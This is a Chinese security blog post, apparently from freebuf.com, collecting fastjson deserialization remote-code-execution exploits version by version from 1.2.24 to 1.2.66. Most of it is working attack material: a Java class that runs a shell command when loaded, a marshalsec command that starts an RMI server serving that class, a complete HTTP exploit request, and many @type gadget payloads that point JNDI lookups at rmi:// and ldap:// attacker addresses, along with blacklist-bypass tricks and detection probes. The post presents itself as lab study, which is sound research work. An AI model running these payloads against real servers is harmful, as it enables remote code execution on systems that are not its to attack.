fastjson漏洞积累 – 作者:yuaneuro

fastjson是阿里巴巴的一个开源的JSON解析库。通常被用于将json和java object之间进行转换。

他比其他json库都快,但是带来的是更多的漏洞。其实fastjson中的漏洞还是其中的AutoType有关:

  • fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。(基于属性)

1.2.24-rec

我们先举一个最开始的漏洞来理解这个漏洞,之后的漏洞无非是在这个上面将一些恶意类或其他字符加入黑名单
我们使用vulhub来演示

首先先编译一下执行的代码

// javac poc.java
import java.lang.Runtime;
import java.lang.Process;

public class poc {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "ping 88s1yo.dnslog.wiki"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将poc.class上传至服务器。
然后我们还需使用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个RMI服务器

  • RMI,用官方的话来说:RMI 应用程序通常包括两个独立的程序,一个服务器和一个客户端。典型的服务器程序创建一些远程对象,使这些对象的引用可访问,并等待客户端调用这些对象上的方法。典型的客户端程序获取对服务器上一个或多个远程对象的远程引用,然后调用它们的方法。RMI 提供了服务器和客户端通信和来回传递信息的机制。这种应用程序有时被称为分布式对象应用程序。

  • 通俗易懂的来说,RMI就是一个机器 执行 另一个机器 给的命令,但是执行的命令是不会显的

  • 首先我们使用python搭建一个简易的服务器:(默认开启8000端口)

python3 -m http.server 
  • 所以我们这里需要启动一个RMI服务器让靶机来访问RMI来执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#poc" 9999
  • 注意这里使用的是java -cp而不是Java -jar。

  • 我们解压jar包,META-INF文件夹下都有MANIFEST.MF,在MANIFEST.MF中会有一个Main-Class,他是指定入口。如果你的MANIFEST.MF文件中没有Main-Class,就会提示Cant load main-class之类的错误。

  • 所以这里使用-cp执行,指定marshalsec.jndi.RMIRefServer

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

这里解释一下:

前面说过,fastjson序列化的时候,把原始类型记录下来

序列化后的字符串中添加@type属性,存放对象类型

首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载

被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令

这个rmi服务器相当于请求8000端口服务器中的poc.class

从rmi请求中得到命令ping 88s1yo.dnslog.wiki

然后被攻击的服务器就回去执行命令

整个过程可以用以下流程图表示
图片[1]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

所以说fastjson的漏洞核心就是可以加载任意类,所以在之后的版本中就是一直在完善黑名单

1.2.45开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制

设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常:
autoType is not support.
图片[2]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科


1.2.41-rce

fastjson在加载到过程中,会在加载类的时候去掉className前面的L和最后的;,所以就有了如下的poc:

{
    "b":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

(autoTypeSupport属性为true才能使用)


1.2.42-rce

由于上一个版本只只过滤了L;,所以又可以通过双写绕过

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

值得一提的是在此版本之后fastjson为了防止安全研究人员分析黑名单中的利用链,把黑名单从原本明文的形式改为了哈希过的黑名单,目的还是为了提高利用的门槛,但是还是有牛人跑出了大部分的包名:
https://github.com/LeadroyaL/fastjson-blacklist


1.2.43-rce

上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在目标类前面添加[
poc:

{
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

1.2.45-rce

这次使用了新的Gadget绕过黑名单,但是需要在目标服务器上存在mybatis包,版本大于3.0.1且小于3.4.6
poc:

{
    "b":{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
    "data_source":"rmi://xx.x.xx.xx:9999/poc"
    }
}

1.2.47-rce

  • 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启setAutoTypeSupport都能成功

  • 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭setAutoTypeSupport能成功

  • fastjson cache为true

因为来fastjson中有一个全局缓存,在类加载的时候,

  1. 如果autoType没开启,会先尝试从mapping缓存中获取目标类,如果缓存中有,则直接返回进入之后的反序列化流程。

  2. 如果autoType开启,因为typeName为java.lang.Class不在黑名单,成功绕过检测被解析为Class类型。

java.lang.Class在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。

poc:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://xx.x.xx.xx:9999/poc", 
        "autoCommit": true
    }
}

1.2.62-rce

这次又有人找到了新的Gedget绕过了黑名单。
utxName可控,造成JNDI注入

poc:

{
	"b": {
		 "@type":"org.apache.xbean.propertyeditor.JndiConverter",
		 "AsText":"rmi://xx.x.xx.xx:9999/poc"
	}
}

1.2.66-rce

又又又找到了新的Gadget绕过黑名单
poc:

{
	"b": {
   		"@type":"org.apache.shiro.jndi.JndiObjectFactory",
    	"resourceName":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
    	"@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
    	"metricRegistry":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
   		"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    	"resourceName":"ldap://192.168.80.1:1389/Calc"
	}
}
{
	"b": {
    	"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    	"properties":{
        	"@type":"java.util.Properties",
        	"UserTransaction":"ldap://192.168.80.1:1399/Calc"
    			}
	}
}

1.2.68

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。

只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。

(待补充)


判断是否使用fastjson

不闭合花括号判断

一般利用报错判断,例如可以不闭合花括号的方式来进行报错回显,在报错中往往fastjson的字段
图片[3]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

区别fastjson和jackson

由于Jackson相对比较严格,它会相纸key与javabean属性对其,只能少不能多key,所以提交{"name":"S", "age":21,"agsbdkjada__ss_d":123}时,jackson会报错,而Fastjson不会报错。
图片[4]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

DOS漏洞

当字符串中包含\x转移字符时可能会引发OOM(Out Of Memory内存溢出)的问题
图片[5]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

使用Dnslog判断

方法一:利用java.net.Inet[4|6]Address地址
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

图片[6]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

方法二:利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

图片[7]-fastjson漏洞积累 – 作者:yuaneuro-安全小百科

方法三:利用java.net.URL

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

来源:freebuf.com 2021-06-07 00:20:11 by: yuaneuro

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论